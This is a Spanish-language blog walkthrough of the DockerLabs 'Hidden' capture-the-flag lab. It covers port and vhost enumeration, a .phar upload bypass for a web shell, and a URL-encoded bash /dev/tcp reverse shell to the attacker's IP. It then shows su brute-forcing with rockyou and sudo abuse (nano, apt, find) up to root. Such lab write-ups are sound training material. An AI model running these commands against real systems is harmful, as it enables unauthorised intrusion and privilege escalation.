Post

Hidden , DockerLabs

logodocker

En este reto nos encontramos con escaneo de puertos para buscar una entrada al sistema , enumeracion con con gobuster y busqueda de subdominios con wfuzz , revshell , movimientos laterales y escalada final.

Herramientas y recursos usados

  • nmap
  • gobuster
  • wfuzz

Enumeracion

Empezamos lanzando un nmap contra el objetivo , el cual nos devuelve que solo se encuentra el 80 abierto y podemos ver como nos dice que no consigue llegar a hidden.lab

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -vvv 172.17.0.2 -oX hidden_nmap 

Reporte nmap

Antes de poder revisar la web debemos añadir lo que nos dice nmap al fichero hosts , tambiem aprovechamos y lanzamos gobuster por si encuentra algo.

1
nvim /etc/hosts

hosts

Una vez editado el fichero vamos a trabajar.

1
gobuster -q dir -w /usr/share/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml -u http://hidden.lab --exclude-length 3690

gobusterweb80

Despues de estar un rato mirando la web que creo que es un bootstrap simplemente y hacerme un lio con el formulario de reserva y la ruta que devolvia desisto y pienso que debe haber algo mas, hemos fuzeado directorios con el comando anterior , hemos revisado la web un buen rato sin frutos asi que vamos a buscar si tuviera algun host virtual. Como no sabia como excluir los errores en gobuster tiro de wfuzz.

1
wfuzz -c -w /usr/share/dirbuster/directory-list-2.3-medium.txt --hc 400,404,403,302 -H "Host: FUZZ.hidden.lab" -u http://hidden.lab -t 100

wfuzz

Agregamos de nuevo al fichero hosts el virtualhost que nos da wfuzz y pasamos a ver esa otra web. Nos encontramos una subida de archivos y nos indica que un .php no podemos subir , a buscar extensiones que se ejecuten.

Primer intento fallido asi que deduzco que apache debe comprobar que es lo que ejecuta y si no coincide chauuuu

remotejpgphp

Documentacion php

pharexplicacion

Despues de probar a subir un .phar lo ha subido sin promblema , averiguamos ahora donde esta asi que otra vez a gobuster

1
gobuster -q dir -w /usr/share/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml -u http://dev.hidden.lab --exclude-length 3690

resultgobuster

Infiltracion

Ahora parece estar todo listo el rce y la ruta asi que probamos y acepta comandos a por la revshell.

1
http://dev.hidden.lab/uploads/rce.phar?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.0.112/443%200%3E%261%22

webshell

Como vemos en la imagen tenemos varios usuarios despues de buscar scripts , suid , sudo , etc no obtengo nada asi que hay que hacer fuerza bruta , busco un script que hizo el pinguino que era para eso linux brute. Por otro lado no podemos subirnos el rockyou completo asi que lo despiezamos y lo subimos por el webupload.

usuarios

Comando para dividir por numero de lineas

1
split -l 1000 rockyou.txt parte_

Ahora que tenemos todo subido al menos la primera parte del rockyou lanzaremos el script y esperemos que la pass este arriba del fichero si no mi paciencia explota porque va de 1000 en 1000. Nos desplazamos al directorio dnd se han subido los archivos y lo ejecutamos con las 1000 pass primeras.

1
./Linux-Su-Force.sh cafetero tudiccionario

cafetero

Escalada de privilegios

Si os fijais en la imagen de arriba podeis ver la importancia de configurar bien la revshell. Por cierto ataco a cafetero por la relacion clara con la web. Pasamos al user cafetero recordamos que hay varios usarios y se debe tratar de ir de uno a otro hasta root.

1
su cafetero

Revisamos como siempre y las veces que necesitemos por cada usuario permisos , scripts , directorios hasta encontrar algo. Con sudo tenemos suerte.

sudonano

Como vemos podemos ejecutar nano como usuario john.Consultamos gtofbins de ser necesario.

1
sudo -u john nano

Repetimos proceso este usuario “john” con find , sudo etc en busca de scripts binarios etc..

1
sudo -l 

sudojohn

En este caso hacemos uso de apt buscamos en searchbins y adelante.

searchbins

Ahora como usuario bobby repetimos de nuevo el proceso.

1
sudo -l

bobbylogin

Ahora vemos que podemos hacer root con find

1
sudo find . -exec /bin/sh \; -quit

root

Gracias por leer y si alguien que lee esto y sabe porque se me vuelve tan loca la terminal agradeceria ayuda.

Saludos

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.